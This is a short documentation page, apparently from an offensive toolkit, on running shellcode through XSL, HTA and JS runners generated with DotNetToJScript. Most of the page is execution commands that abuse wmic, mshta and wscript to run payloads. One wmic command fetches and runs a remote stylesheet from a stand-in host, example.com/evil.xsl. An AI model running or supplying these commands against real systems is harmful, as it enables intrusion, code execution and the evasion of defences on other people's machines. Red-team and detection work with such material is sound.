> ## Documentation Index
> Fetch the complete documentation index at: https://witchking.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# XSL / JS / HTA

> Script-based shellcode runners via DotNetToJScript.

Runners located under `payloads/DotNetToJScript/`.

## Execution

```cmd theme={null}
# XSL
wmic process list /FORMAT:evil.xsl
wmic os get /FORMAT:"https://example.com/evil.xsl"

# HTA
mshta c:\users\public\shellcode_runner.hta

# JS
wscript c:\users\public\shellcode_runner.js
```

More execution methods: [LOLBAS Project](https://lolbas-project.github.io/)


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.